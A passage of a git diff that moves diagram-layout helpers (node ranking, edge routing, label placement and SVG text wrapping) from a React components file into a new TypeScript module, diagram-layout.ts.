nodes.map((node) => expandRect(nodeRect(node), 5)); - const laidOut = edges.map((item) => { - const lines = item.edge.label ? splitSvgText(item.edge.label, dense ? 18 : 24).slice(0, 2) : []; - if (!lines.length) return item; - const width = Math.max(64, Math.min(dense ? 128 : 168, Math.max(...lines.map((line) => line.length)) * 6 + 24)); - const height = lines.length > 1 ? 34 : 22; - const label = findLabelSlot(item.path, width, height, occupied, bounds, lines); - occupied.push(expandRect(labelRect(label), 4)); - return { ...item, label }; - }); - const overlaps = collectLabelOverlaps(laidOut.filter((edge): edge is LaidOutEdge => Boolean(edge.label)), nodes); - if (overlaps.length && typeof console !== 'undefined') { - console.warn(`DiagramCanvas edge-label overlap avoided incompletely: ${overlaps.slice(0, 4).join(', ')}`); - } - return laidOut; -} - -function findLabelSlot(path: Point[], width: number, height: number, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, lines: string[]): EdgeLabelLayout { - const tValues = [0.5, 0.42, 0.58, 0.34, 0.66, 0.26, 0.74]; - const offsets = [0, -16, 16, -24, 24]; - for (const t of tValues) { - const sample = pointAtPath(path, t); - for (const offset of offsets) { - const candidate = labelFromSample(sample, width, height, lines, offset); - if (labelFits(candidate, occupied, bounds)) return candidate; - } - } - const anchor = pointAtPath(path, 0.5); - for (const yOffset of [28, 44, 60, 76, 96, 116]) { - const x = clamp(anchor.point.x, bounds.minX + width / 2 + 12, bounds.maxX - width / 2 - 12); - const y = anchor.point.y + yOffset; - const candidate = { x, y, width, height, lines, anchor: anchor.point, leader: true }; - if (labelFits(candidate, occupied, { ...bounds, maxY: bounds.maxY + 160 })) return candidate; - } - return { x: anchor.point.x, y: anchor.point.y + 116, width, height, lines, anchor: anchor.point, leader: true }; -} - -function labelFromSample(sample: { point: Point; tangent: Point }, width: number, height: number, lines: string[], offset: number): EdgeLabelLayout { - const length = Math.hypot(sample.tangent.x, sample.tangent.y) || 1; - const normal = { x: -sample.tangent.y / length, y: sample.tangent.x / length }; - const x = sample.point.x + normal.x * offset; - const y = sample.point.y + normal.y * offset; - return { - x, - y, - width, - height, - lines, - anchor: sample.point, - leader: Math.hypot(x - sample.point.x, y - sample.point.y) > 20, - }; -} - -function pointAtPath(path: Point[], t: number) { - const segments = path.slice(1).map((point, index) => { - const start = path[index]!; - const length = Math.hypot(point.x - start.x, point.y - start.y); - return { start, end: point, length }; - }); - const total = segments.reduce((sum, segment) => sum + segment.length, 0) || 1; - let remaining = total * t; - for (const segment of segments) { - if (remaining <= segment.length || segment === segments.at(-1)) { - const local = segment.length ? remaining / segment.length : 0; - return { - point: { - x: segment.start.x + (segment.end.x - segment.start.x) * local, - y: segment.start.y + (segment.end.y - segment.start.y) * local, - }, - tangent: { x: segment.end.x - segment.start.x, y: segment.end.y - segment.start.y }, - }; - } - remaining -= segment.length; - } - return { point: path[0] ?? { x: 0, y: 0 }, tangent: { x: 1, y: 0 } }; -} - -function labelFits(label: EdgeLabelLayout, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }) { - const rect = labelRect(label); - if (rect.x < bounds.minX + 8 || rect.x + rect.width > bounds.maxX - 8 || rect.y < bounds.minY + 8 || rect.y + rect.height > bounds.maxY + 8) return false; - return occupied.every((other) => !rectsIntersect(rect, other)); -} - -function collectLabelOverlaps(edges: LaidOutEdge[], nodes: LaidOutNode[]) { - const nodeRects = nodes.map((node) => ({ id: node.id, rect: nodeRect(node) })); - const labels = edges.flatMap((edge, index) => edge.label ? [{ id: `${edge.edge.from}->${edge.edge.to}#${index}`, rect: labelRect(edge.label) }] : []); - const overlaps: string[] = []; - for (const label of labels) { - for (const node of nodeRects) { - if (rectsIntersect(label.rect, node.rect)) overlaps.push(`${label.id} over ${node.id}`); - } - } - for (let i = 0; i < labels.length; i += 1) { - for (let j = i + 1; j < labels.length; j += 1) { - if (rectsIntersect(labels[i]!.rect, labels[j]!.rect)) overlaps.push(`${labels[i]!.id} over ${labels[j]!.id}`); - } - } - return overlaps; -} - -function computeRanks(nodes: DiagramNode[], edges: DiagramEdge[]) { - const ids = new Set(nodes.map((node) => node.id)); - const incoming = new Map(nodes.map((node) => [node.id, 0])); - const outgoing = new Map(nodes.map((node) => [node.id, [] as string[]])); - for (const edge of edges) { - if (!ids.has(edge.from) || !ids.has(edge.to)) continue; - incoming.set(edge.to, (incoming.get(edge.to) ?? 0) + 1); - outgoing.get(edge.from)?.push(edge.to); - } - const ranks = new Map(); - const queue = nodes.filter((node) => (incoming.get(node.id) ?? 0) === 0).map((node) => node.id); - for (const id of queue) ranks.set(id, 0); - while (queue.length) { - const id = queue.shift()!; - const nextRank = (ranks.get(id) ?? 0) + 1; - for (const child of outgoing.get(id) ?? []) { - ranks.set(child, Math.max(ranks.get(child) ?? 0, nextRank)); - incoming.set(child, (incoming.get(child) ?? 1) - 1); - if ((incoming.get(child) ?? 0) === 0) queue.push(child); - } - } - nodes.forEach((node, index) => { - if (!ranks.has(node.id)) ranks.set(node.id, index); - }); - return ranks; -} - -function edgePoint(node: LaidOutNode, toward: LaidOutNode, orientation: SwimlaneOrientation, isStart: boolean) { - const gap = 8; - const cx = node.x + node.width / 2; - const cy = node.y + node.height / 2; - const tx = toward.x + toward.width / 2; - const ty = toward.y + toward.height / 2; - const dx = tx - cx; - const dy = ty - cy; - if (orientation === 'vertical' && node.rank !== toward.rank) { - const forward = toward.rank > node.rank; - if ((isStart && forward) || (!isStart && !forward)) return { x: cx, y: node.y + node.height + gap }; - return { x: cx, y: node.y - gap }; - } - if (Math.abs(dx) > Math.abs(dy)) return { x: cx + Math.sign(dx) * (node.width / 2 + gap), y: cy }; - return { x: cx, y: cy + Math.sign(dy) * (node.height / 2 + gap) }; -} - -function edgePath(points: Point[]) { - return points.map((point, index) => `${index === 0 ? 'M' : 'L'} ${point.x} ${point.y}`).join(' '); -} - -function nodeRect(node: LaidOutNode): Rect { - return { x: node.x, y: node.y, width: node.width, height: node.height }; -} - -function labelRect(label: EdgeLabelLayout): Rect { - return { x: label.x - label.width / 2, y: label.y - label.height / 2, width: label.width, height: label.height }; -} - -function labelLeaderEndpoint(label: EdgeLabelLayout): Point { - const rect = labelRect(label); - const center = { x: label.x, y: label.y }; - const dx = label.anchor.x - center.x; - const dy = label.anchor.y - center.y; - if (Math.abs(dx) * rect.height > Math.abs(dy) * rect.width) { - return { - x: dx > 0 ? rect.x + rect.width : rect.x, - y: clamp(center.y + dy * (rect.width / 2) / (Math.abs(dx) || 1), rect.y, rect.y + rect.height), - }; - } - return { - x: clamp(center.x + dx * (rect.height / 2) / (Math.abs(dy) || 1), rect.x, rect.x + rect.width), - y: dy > 0 ? rect.y + rect.height : rect.y, - }; -} - -function expandRect(rect: Rect, amount: number): Rect { - return { x: rect.x - amount, y: rect.y - amount, width: rect.width + amount * 2, height: rect.height + amount * 2 }; -} - -function rectsIntersect(a: Rect, b: Rect) { - return a.x < b.x + b.width && a.x + a.width > b.x && a.y < b.y + b.height && a.y + a.height > b.y; -} - -function clamp(value: number, min: number, max: number) { - return Math.min(max, Math.max(min, value)); -} - function DiagramNodeShape({ item, index }: { item: LaidOutNode; index: number }) { const compact = item.width <= 140; const labelY = item.shape === 'dot' ? item.y + item.height + 20 : item.y + (compact ? 37 : 44); @@ -1214,71 +741,6 @@ function DiagramNodeShape({ item, index }: { item: LaidOutNode; index: number }) const svgTextOverflowStyle: React.CSSProperties = { overflowX: 'auto', overflowY: 'auto' }; -function splitSvgText(value: string, maxChars: number, options: { ellipsis?: boolean; maxLines?: number } = {}) { - const explicit = String(value).split(/\n/g); - const lines = explicit.flatMap((line) => wrapWords(line, maxChars)).filter((line) => line.length > 0); - if (!options.maxLines || lines.length <= options.maxLines) return lines.length ? lines : ['']; - const visible = lines.slice(0, options.maxLines); - if (options.ellipsis) visible[visible.length - 1] = withEllipsis(visible[visible.length - 1]!, maxChars); - return visible.length ? visible : ['']; -} - -function wrapWords(value: string, maxChars: number) { - const normalized = value.replace(/\s*·\s*/gu, ' · ').replace(/\s+\/\s+/gu, ' / '); - const words = normalized.split(/(\s+)/).filter((part) => part.length > 0); - const lines: string[] = []; - let current = ''; - for (const word of words) { - const compact = /^\s+$/.test(word) ? ' ' : word; - const candidate = `${current}${compact}`; - if (current && candidate.trim().length > maxChars) { - const line = cleanWrappedLine(current); - if (line) lines.push(line); - current = isDanglingSeparator(compact) ? '' : compact.trimStart(); - } else { - current = candidate; - } - } - const line = cleanWrappedLine(current); - if (line) lines.push(line); - return balanceWrappedLines(lines, maxChars); -} - -function balanceWrappedLines(lines: string[], maxChars: number) { - if (lines.length < 2) return lines.length ? lines : ['']; - const balanced = [...lines]; - for (let index = balanced.length - 1; index > 0; index -= 1) { - const line = balanced[index]!; - if (line.length > 8) continue; - const previous = balanced[index - 1]!; - const previousWords = previous.split(/\s+/); - if (previousWords.length < 2) continue; - const moved = previousWords.pop()!; - const candidate = cleanWrappedLine(`${moved} ${line}`); - if (candidate.length > maxChars) continue; - balanced[index - 1] = cleanWrappedLine(previousWords.join(' ')); - balanced[index] = candidate; - } - return balanced.filter((line) => line.length > 0); -} - -function cleanWrappedLine(value: string) { - return value.trim().replace(/^[·,/]\s*/u, '').replace(/\s*[·,/]\s*$/u, '').trim(); -} - -function isDanglingSeparator(value: string) { - return /^[\s·,/]+$/u.test(value); -} - -function withEllipsis(value: string, maxChars: number) { - const clean = cleanWrappedLine(value); - if (clean.length + 1 <= maxChars) return `${clean}…`; - const clipped = clean.slice(0, Math.max(1, maxChars - 1)); - const boundary = Math.max(clipped.lastIndexOf(' '), clipped.lastIndexOf('·'), clipped.lastIndexOf('/'), clipped.lastIndexOf(',')); - const base = boundary > 4 ? clipped.slice(0, boundary) : clipped; - return `${cleanWrappedLine(base)}…`; -} - function escapeHtml(input: string) { return input.replace(/[&<>"']/g, (char) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[char]!); } diff --git a/visual-explainer-mdx/diagram-layout.ts b/visual-explainer-mdx/diagram-layout.ts new file mode 100644 index 0000000..33683c0 --- /dev/null +++ b/visual-explainer-mdx/diagram-layout.ts @@ -0,0 +1,540 @@ +import type { DiagramNode, DiagramEdge, DiagramCanvasProps } from './components'; + +export type LaidOutNode = DiagramNode & { + x: number; + y: number; + width: number; + height: number; + rank: number; + row: number; + order: number; + isAccented: boolean; +}; + +type Point = { x: number; y: number }; +type Rect = { x: number; y: number; width: number; height: number }; +type SwimlaneOrientation = 'horizontal' | 'vertical'; + +type LaidOutEdge = { + edge: DiagramEdge; + from: LaidOutNode; + to: LaidOutNode; + path: Point[]; + label?: EdgeLabelLayout; +}; + +type EdgeLabelLayout = { + x: number; + y: number; + width: number; + height: number; + lines: string[]; + anchor: Point; + leader?: boolean; +}; + +type LegendEntry = { + label: string; + accent?: boolean; + dashed?: boolean; +}; + +export function layoutDiagram( + nodes: DiagramNode[], + edges: DiagramEdge[], + layout: NonNullable, + lanes?: DiagramCanvasProps['lanes'], + dates?: string[], +) { + const rankMap = computeRanks(nodes, edges); + const dense = nodes.length >= 7 || edges.length >= 10; + const nodeHeight = dense ? 76 : 96; + const columnGap = layout === 'timeline' ? 180 : layout === 'swimlane' ? (dense ? 176 : 204) : dense ? 204 : 240; + const rowGap = layout === 'tree' ? 128 : layout === 'swimlane' ? (dense ? 164 : 176) : dense ? 112 : 144; + const padding = { top: 64, right: 64, bottom: 72, left: 72 }; + const laneList = layout === 'swimlane' + ? lanes ?? Array.from(new Set(nodes.map((node) => node.lane ?? 'default'))).map((id) => ({ id, label: id })) + : []; + const laneIndex = new Map(laneList.map((lane, index) => [lane.id, index])); + const rankValues = Array.from(new Set(nodes.map((node, declarationIndex) => rankForNode(node, declarationIndex, layout, rankMap, dates)))).sort((a, b) => a - b); + const rankIndex = new Map(rankValues.map((rank, index) => [rank, index])); + const swimlaneOrientation: SwimlaneOrientation = layout === 'swimlane' && rankValues.length > 4 ? 'vertical' : 'horizontal'; + const swimlaneRankGap = dense ? 34 : 42; + const swimlaneColumnPitch = swimlaneOrientation === 'vertical' + ? laneList.length <= 6 + ? Math.max(136, Math.floor((960 - padding.left - padding.right) / Math.max(1, laneList.length))) + : dense ? 168 : 184 + : columnGap; + const swimlaneNodeMax = swimlaneOrientation === 'vertical' ? Math.max(124, Math.min(164, swimlaneColumnPitch - 32)) : 240; + const orderedDates = dates ?? Array.from(new Set(nodes.map((node) => node.date).filter(Boolean))) as string[]; + const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); + const rankCounts = new Map(); + const laneRankCounts = new Map(); + let accentsUsed = 0; + const measured = nodes.map((node, declarationIndex) => { + const rank = layout === 'timeline' && node.date ? dateIndex.get(node.date) ?? declarationIndex : rankMap.get(node.id) ?? declarationIndex; + const inRank = rankCounts.get(rank) ?? 0; + rankCounts.set(rank, inRank + 1); + const wrapsDenseFlow = dense && layout !== 'swimlane' && layout !== 'timeline'; + const wrapColumns = 4; + const rankBand = wrapsDenseFlow ? Math.floor(rank / wrapColumns) : 0; + const visualRank = wrapsDenseFlow + ? rankBand % 2 === 0 + ? rank % wrapColumns + : wrapColumns - 1 - (rank % wrapColumns) + : rank; + const laneKey = `${node.lane ?? 'default'}::${rank}`; + const laneStack = layout === 'swimlane' ? laneRankCounts.get(laneKey) ?? 0 : 0; + if (layout === 'swimlane') laneRankCounts.set(laneKey, laneStack + 1); + const row = layout === 'swimlane' ? laneIndex.get(node.lane ?? 'default') ?? 0 : inRank + rankBand * 2; + const { width, height } = measureDiagramNode(node, dense, nodeHeight, swimlaneNodeMax); + const isAccented = Boolean(node.accent && accentsUsed < 2); + if (isAccented) accentsUsed += 1; + return { ...node, x: 0, y: 0, width, height, rank, row, order: declarationIndex, visualRank, laneStack, inRank, isAccented }; + }); + const laidOut = swimlaneOrientation === 'vertical' + ? layoutVerticalSwimlane(measured, laneIndex, rankIndex, padding, swimlaneColumnPitch, swimlaneRankGap) + : measured.map((node) => ({ + ...node, + x: padding.left + node.visualRank * columnGap, + y: padding.top + node.row * rowGap + (layout === 'timeline' && node.row % 2 ? 58 : 0) + node.laneStack * (nodeHeight + 16), + })); + const byId = new Map(laidOut.map((node) => [node.id, node])); + const connectedEdgePairs = edges.flatMap((edge) => { + const from = byId.get(edge.from); + const to = byId.get(edge.to); + return from && to ? [{ edge, from, to }] : []; + }); + const minX = Math.min(...laidOut.map((node) => node.x), padding.left) - padding.left; + const minY = Math.min(...laidOut.map((node) => node.y), padding.top) - padding.top; + const maxX = Math.max(...laidOut.map((node) => node.x + node.width), padding.left + 520) + padding.right; + const maxY = Math.max(...laidOut.map((node) => node.y + node.height), padding.top + 300) + padding.bottom; + const bounds = { minX, minY, maxX, maxY }; + const connectedEdges = placeEdgeLabels( + connectedEdgePairs.map(({ edge, from, to }) => ({ + edge, + from, + to, + path: edgeRoute(from, to, swimlaneOrientation === 'vertical' && layout === 'swimlane' ? 'vertical' : 'horizontal'), + })), + laidOut, + bounds, + dense, + ); + const finalMaxX = Math.max(maxX, ...connectedEdges.flatMap(({ label }) => label ? [label.x + label.width / 2 + 24] : [])); + const finalMaxY = Math.max(maxY, ...connectedEdges.flatMap(({ label }) => label ? [label.y + label.height / 2 + 32] : [])); + const bodyBottom = finalMaxY - 56; + const laneRects = laneList.map((lane, index) => swimlaneOrientation === 'vertical' ? ({ + id: lane.id, + label: lane.label.toUpperCase(), + orientation: 'vertical' as const, + divider: index < laneList.length - 1, + x: padding.left + index * swimlaneColumnPitch - swimlaneColumnPitch / 2 + 8, + y: minY + 22, + width: swimlaneColumnPitch, + height: bodyBottom - minY - 28, + }) : ({ + id: lane.id, + label: lane.label.toUpperCase(), + orientation: 'horizontal' as const, + divider: false, + x: minX + 18, + y: padding.top + index * rowGap - 28, + width: finalMaxX - minX - 36, + height: rowGap, + })); + const shapeSet = new Set(nodes.map((node) => node.shape ?? 'rect')); + const styleSet = new Set(edges.map((edge) => edge.style ?? 'solid')); + const legendEntries: LegendEntry[] = []; + if (nodes.some((node) => node.accent)) legendEntries.push({ label: 'FOCAL', accent: true }); + if (styleSet.has('solid') && styleSet.size > 1) legendEntries.push({ label: 'SOLID' }); + if (styleSet.has('dashed')) legendEntries.push({ label: 'DASHED', dashed: true }); + if (styleSet.has('bidirectional')) legendEntries.push({ label: 'TWO-WAY' }); + if (shapeSet.size > 1) legendEntries.push({ label: 'SHAPES VARY' }); + return { + nodes: laidOut, + edges: connectedEdges, + lanes: laneRects, + laneLabels: new Map(laneList.map((lane) => [lane.id, lane.label.toUpperCase()])), + dense, + orientation: swimlaneOrientation, + bodyBottom, + legend: { + x: minX + 28, + y: finalMaxY - 24, + entries: legendEntries.slice(0, 5), + // Entries start after the measured meta text ("SWIMLANE / 8 nodes / 12 edges") + // instead of a fixed offset that collides with longer meta strings. + entryStartX: minX + 28 + `${layout.toUpperCase()} / ${nodes.length} nodes / ${edges.length} edges`.length * 6.6 + 32, + }, + viewBox: { x: minX, y: minY, width: finalMaxX - minX, height: finalMaxY - minY }, + }; +} + +function rankForNode( + node: DiagramNode, + declarationIndex: number, + layout: NonNullable, + rankMap: Map, + dates?: string[], +) { + if (layout !== 'timeline' || !node.date) return rankMap.get(node.id) ?? declarationIndex; + const orderedDates = dates ?? []; + const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); + return dateIndex.get(node.date) ?? declarationIndex; +} + +function measureDiagramNode(node: DiagramNode, dense: boolean, nodeHeight: number, maxWidth = 240) { + const width = node.shape === 'dot' + ? 32 + : dense + ? Math.max(124, Math.min(Math.min(152, maxWidth), node.label.length * 8 + 48)) + : Math.max(Math.min(152, maxWidth), Math.min(maxWidth, node.label.length * 10 + 72, (node.detail?.length ?? 0) * 5 + 72)); + const compact = width <= 140; + const detailMaxLines = compact ? 2 : 3; + const labelLineCount = node.shape === 'dot' ? 1 : splitSvgText(node.label, compact ? 15 : 20, { maxLines: 2 }).length; + const detailLineCount = node.detail && node.shape !== 'dot' ? splitSvgText(node.detail, compact ? 17 : 28, { ellipsis: true, maxLines: detailMaxLines }).length : 0; + const textBottom = (compact ? 59 : 72) + Math.max(0, labelLineCount - 1) * (compact ? 16 : 18) + (detailLineCount > 0 ? (detailLineCount - 1) * 13 + 12 : 0); + const height = node.shape === 'dot' ? 42 : Math.max(nodeHeight, textBottom + 14); + return { width, height }; +} + +function layoutVerticalSwimlane( + measured: T[], + laneIndex: Map, + rankIndex: Map, + padding: { top: number; left: number }, + columnPitch: number, + rowGap: number, +) { + const groupMap = new Map(); + for (const node of measured) { + const key = `${node.lane ?? 'default'}::${node.rank}`; + groupMap.set(key, [...groupMap.get(key) ?? [], node]); + } + const rowHeights = new Map(); + for (const [key, group] of groupMap) { + const rank = Number(key.split('::').at(-1)); + const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; + const groupHeight = sideBySideWidth <= columnPitch - 32 + ? Math.max(...group.map((node) => node.height)) + : group.reduce((sum, node) => sum + node.height, 0) + Math.max(0, group.length - 1) * 16; + const rankRow = rankIndex.get(rank) ?? rank; + rowHeights.set(rankRow, Math.max(rowHeights.get(rankRow) ?? 0, groupHeight)); + } + const rankY = new Map(); + let cursorY = padding.top + 54; + const rankRows = Array.from(new Set([...rankIndex.values()])).sort((a, b) => a - b); + for (const rankRow of rankRows) { + rankY.set(rankRow, cursorY); + cursorY += (rowHeights.get(rankRow) ?? 96) + rowGap; + } + const groupPositions = new Map>(); + for (const [key, group] of groupMap) { + const rank = Number(key.split('::').at(-1)); + const rankRow = rankIndex.get(rank) ?? rank; + const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; + const fitsSideBySide = sideBySideWidth <= columnPitch - 32; + const lane = laneIndex.get(group[0]?.lane ?? 'default') ?? 0; + const laneCenter = padding.left + lane * columnPitch; + const y = rankY.get(rankRow) ?? padding.top; + const positions = new Map(); + if (fitsSideBySide) { + let x = laneCenter - sideBySideWidth / 2; + for (const node of group) { + positions.set(node.id, { x, y }); + x += node.width + 12; + } + } else { + let stackY = y; + for (const node of group) { + positions.set(node.id, { x: laneCenter - node.width / 2, y: stackY }); + stackY += node.height + 16; + } + } + groupPositions.set(key, positions); + } + return measured.map((node) => { + const key = `${node.lane ?? 'default'}::${node.rank}`; + const point = groupPositions.get(key)?.get(node.id) ?? { x: padding.left, y: padding.top }; + return { ...node, x: point.x, y: point.y }; + }); +} + +function edgeRoute(from: LaidOutNode, to: LaidOutNode, orientation: SwimlaneOrientation): Point[] { + const start = edgePoint(from, to, orientation, true); + const end = edgePoint(to, from, orientation, false); + if (Math.abs(start.x - end.x) < 4 || Math.abs(start.y - end.y) < 4) return [start, end]; + if (orientation === 'vertical') { + const midY = Math.round((start.y + end.y) / 2 / 4) * 4; + return [{ ...start }, { x: start.x, y: midY }, { x: end.x, y: midY }, { ...end }]; + } + const midX = Math.round((start.x + end.x) / 2 / 4) * 4; + return [{ ...start }, { x: midX, y: start.y }, { x: midX, y: end.y }, { ...end }]; +} + +function placeEdgeLabels(edges: Array>, nodes: LaidOutNode[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, dense: boolean): LaidOutEdge[] { + const occupied = nodes.map((node) => expandRect(nodeRect(node), 5)); + const laidOut = edges.map((item) => { + const lines = item.edge.label ? splitSvgText(item.edge.label, dense ? 18 : 24).slice(0, 2) : []; + if (!lines.length) return item; + const width = Math.max(64, Math.min(dense ? 128 : 168, Math.max(...lines.map((line) => line.length)) * 6 + 24)); + const height = lines.length > 1 ? 34 : 22; + const label = findLabelSlot(item.path, width, height, occupied, bounds, lines); + occupied.push(expandRect(labelRect(label), 4)); + return { ...item, label }; + }); + const overlaps = collectLabelOverlaps(laidOut.filter((edge): edge is LaidOutEdge => Boolean(edge.label)), nodes); + if (overlaps.length && typeof console !== 'undefined') { + console.warn(`DiagramCanvas edge-label overlap avoided incompletely: ${overlaps.slice(0, 4).join(', ')}`); + } + return laidOut; +} + +function findLabelSlot(path: Point[], width: number, height: number, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, lines: string[]): EdgeLabelLayout { + const tValues = [0.5, 0.42, 0.58, 0.34, 0.66, 0.26, 0.74]; + const offsets = [0, -16, 16, -24, 24]; + for (const t of tValues) { + const sample = pointAtPath(path, t); + for (const offset of offsets) { + const candidate = labelFromSample(sample, width, height, lines, offset); + if (labelFits(candidate, occupied, bounds)) return candidate; + } + } + const anchor = pointAtPath(path, 0.5); + for (const yOffset of [28, 44, 60, 76, 96, 116]) { + const x = clamp(anchor.point.x, bounds.minX + width / 2 + 12, bounds.maxX - width / 2 - 12); + const y = anchor.point.y + yOffset; + const candidate = { x, y, width, height, lines, anchor: anchor.point, leader: true }; + if (labelFits(candidate, occupied, { ...bounds, maxY: bounds.maxY + 160 })) return candidate; + } + return { x: anchor.point.x, y: anchor.point.y + 116, width, height, lines, anchor: anchor.point, leader: true }; +} + +function labelFromSample(sample: { point: Point; tangent: Point }, width: number, height: number, lines: string[], offset: number): EdgeLabelLayout { + const length = Math.hypot(sample.tangent.x, sample.tangent.y) || 1; + const normal = { x: -sample.tangent.y / length, y: sample.tangent.x / length }; + const x = sample.point.x + normal.x * offset; + const y = sample.point.y + normal.y * offset; + return { + x, + y, + width, + height, + lines, + anchor: sample.point, + leader: Math.hypot(x - sample.point.x, y - sample.point.y) > 20, + }; +} + +function pointAtPath(path: Point[], t: number) { + const segments = path.slice(1).map((point, index) => { + const start = path[index]!; + const length = Math.hypot(point.x - start.x, point.y - start.y); + return { start, end: point, length }; + }); + const total = segments.reduce((sum, segment) => sum + segment.length, 0) || 1; + let remaining = total * t; + for (const segment of segments) { + if (remaining <= segment.length || segment === segments.at(-1)) { + const local = segment.length ? remaining / segment.length : 0; + return { + point: { + x: segment.start.x + (segment.end.x - segment.start.x) * local, + y: segment.start.y + (segment.end.y - segment.start.y) * local, + }, + tangent: { x: segment.end.x - segment.start.x, y: segment.end.y - segment.start.y }, + }; + } + remaining -= segment.length; + } + return { point: path[0] ?? { x: 0, y: 0 }, tangent: { x: 1, y: 0 } }; +} + +function labelFits(label: EdgeLabelLayout, occupied: Rect[], bounds: { minX: number; minY: number; maxX: number; maxY: number }) { + const rect = labelRect(label); + if (rect.x < bounds.minX + 8 || rect.x + rect.width > bounds.maxX - 8 || rect.y < bounds.minY + 8 || rect.y + rect.height > bounds.maxY + 8) return false; + return occupied.every((other) => !rectsIntersect(rect, other)); +} + +function collectLabelOverlaps(edges: LaidOutEdge[], nodes: LaidOutNode[]) { + const nodeRects = nodes.map((node) => ({ id: node.id, rect: nodeRect(node) })); + const labels = edges.flatMap((edge, index) => edge.label ? [{ id: `${edge.edge.from}->${edge.edge.to}#${index}`, rect: labelRect(edge.label) }] : []); + const overlaps: string[] = []; + for (const label of labels) { + for (const node of nodeRects) { + if (rectsIntersect(label.rect, node.rect)) overlaps.push(`${label.id} over ${node.id}`); + } + } + for (let i = 0; i < labels.length; i += 1) { + for (let j = i + 1; j < labels.length; j += 1) { + if (rectsIntersect(labels[i]!.rect, labels[j]!.rect)) overlaps.push(`${labels[i]!.id} over ${labels[j]!.id}`); + } + } + return overlaps; +} + +function computeRanks(nodes: DiagramNode[], edges: DiagramEdge[]) { + const ids = new Set(nodes.map((node) => node.id)); + const incoming = new Map(nodes.map((node) => [node.id, 0])); + const outgoing = new Map(nodes.map((node) => [node.id, [] as string[]])); + for (const edge of edges) { + if (!ids.has(edge.from) || !ids.has(edge.to)) continue; + incoming.set(edge.to, (incoming.get(edge.to) ?? 0) + 1); + outgoing.get(edge.from)?.push(edge.to); + } + const ranks = new Map(); + const queue = nodes.filter((node) => (incoming.get(node.id) ?? 0) === 0).map((node) => node.id); + for (const id of queue) ranks.set(id, 0); + while (queue.length) { + const id = queue.shift()!; + const nextRank = (ranks.get(id) ?? 0) + 1; + for (const child of outgoing.get(id) ?? []) { + ranks.set(child, Math.max(ranks.get(child) ?? 0, nextRank)); + incoming.set(child, (incoming.get(child) ?? 1) - 1); + if ((incoming.get(child) ?? 0) === 0) queue.push(child); + } + } + nodes.forEach((node, index) => { + if (!ranks.has(node.id)) ranks.set(node.id, index); + }); + return ranks; +} + +function edgePoint(node: LaidOutNode, toward: LaidOutNode, orientation: SwimlaneOrientation, isStart: boolean) { + const gap = 8; + const cx = node.x + node.width / 2; + const cy = node.y + node.height / 2; + const tx = toward.x + toward.width / 2; + const ty = toward.y + toward.height / 2; + const dx = tx - cx; + const dy = ty - cy; + if (orientation === 'vertical' && node.rank !== toward.rank) { + const forward = toward.rank > node.rank; + if ((isStart && forward) || (!isStart && !forward)) return { x: cx, y: node.y + node.height + gap }; + return { x: cx, y: node.y - gap }; + } + if (Math.abs(dx) > Math.abs(dy)) return { x: cx + Math.sign(dx) * (node.width / 2 + gap), y: cy }; + return { x: cx, y: cy + Math.sign(dy) * (node.height / 2 + gap) }; +} + +export function edgePath(points: Point[]) { + return points.map((point, index) => `${index === 0 ? 'M' : 'L'} ${point.x} ${point.y}`).join(' '); +} + +function nodeRect(node: LaidOutNode): Rect { + return { x: node.x, y: node.y, width: node.width, height: node.height }; +} + +function labelRect(label: EdgeLabelLayout): Rect { + return { x: label.x - label.width / 2, y: label.y - label.height / 2, width: label.width, height: label.height }; +} + +export function labelLeaderEndpoint(label: EdgeLabelLayout): Point { + const rect = labelRect(label); + const center = { x: label.x, y: label.y }; + const dx = label.anchor.x - center.x; + const dy = label.anchor.y - center.y; + if (Math.abs(dx) * rect.height > Math.abs(dy) * rect.width) { + return { + x: dx > 0 ? rect.x + rect.width : rect.x, + y: clamp(center.y + dy * (rect.width / 2) / (Math.abs(dx) || 1), rect.y, rect.y + rect.height), + }; + } + return { + x: clamp(center.x + dx * (rect.height / 2) / (Math.abs(dy) || 1), rect.x, rect.x + rect.width), + y: dy > 0 ? rect.y + rect.height : rect.y, + }; +} + +function expandRect(rect: Rect, amount: number): Rect { + return { x: rect.x - amount, y: rect.y - amount, width: rect.width + amount * 2, height: rect.height + amount * 2 }; +} + +function rectsIntersect(a: Rect, b: Rect) { + return a.x < b.x + b.width && a.x + a.width > b.x && a.y < b.y + b.height && a.y + a.height > b.y; +} + +function clamp(value: number, min: number, max: number) { + return Math.min(max, Math.max(min, value)); +} + +export function mobileConnectorEdges(edges: LaidOutEdge[], nodeOrder: Map, index: number) { + const nextIndex = index + 1; + const incoming = edges.filter(({ edge }) => { + const fromIndex = nodeOrder.get(edge.from); + const toIndex = nodeOrder.get(edge.to); + return fromIndex !== undefined && toIndex === nextIndex && fromIndex < toIndex; + }); + if (incoming.length) return incoming.slice(0, 3); + return edges.filter(({ edge }) => { + const fromIndex = nodeOrder.get(edge.from); + const toIndex = nodeOrder.get(edge.to); + return fromIndex === index && toIndex !== undefined && toIndex > fromIndex; + }).slice(0, 3); +} + +export function splitSvgText(value: string, maxChars: number, options: { ellipsis?: boolean; maxLines?: number } = {}) { + const explicit = String(value).split(/\n/g); + const lines = explicit.flatMap((line) => wrapWords(line, maxChars)).filter((line) => line.length > 0); + if (!options.maxLines || lines.length <= options.maxLines) return lines.length ? lines : ['']; + const visible = lines.slice(0, options.maxLines); + if (options.ellipsis) visible[visible.length - 1] = withEllipsis(visible[visible.length - 1]!, maxChars); + return visible.length ? visible : ['']; +} + +export function wrapWords(value: string, maxChars: number) { + const normalized = value.replace(/\s*·\s*/gu, ' · ').replace(/\s+\/\s+/gu, ' / '); + const words = normalized.split(/(\s+)/).filter((part) => part.length > 0); + const lines: string[] = []; + let current = ''; + for (const word of words) { + const compact = /^\s+$/.test(word) ? ' ' : word; + const candidate = `${current}${compact}`; + if (current && candidate.trim().length > maxChars) { + const line = cleanWrappedLine(current); + if (line) lines.push(line); + current = isDanglingSeparator(compact) ? '' : compact.trimStart(); + } else { + current = 